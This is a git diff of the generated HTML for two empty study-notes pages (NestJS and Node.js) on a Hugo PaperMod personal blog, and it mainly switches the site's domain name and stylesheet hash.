-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"","item":"https://xiaochenabc123.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"","name":"","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title></h1><div class=post-meta>0 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Nestjs%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>« Prev</span><br><span></span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>Next »</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content><meta name=description content=" - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"","item":"https://chenjunlinabc.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"","name":"","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title></h1><div class=post-meta>0 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Nestjs%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>« Prev</span><br><span></span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>Next »</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git "a/posts/node.js\345\255\246\344\271\240\347\254\224\350\256\260/index.html" "b/posts/node.js\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
index 4d9cbbb3..29a26953 100644
--- "a/posts/node.js\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
+++ "b/posts/node.js\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
@@ -1,6 +1,6 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content><meta name=description content=" - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"","item":"https://xiaochenabc123.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"","name":"","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title></h1><div class=post-meta>0 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Node.js%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>« Prev</span><br><span></span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>Next »</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content><meta name=description content=" - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"","item":"https://chenjunlinabc.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"","name":"","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title></h1><div class=post-meta>0 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a 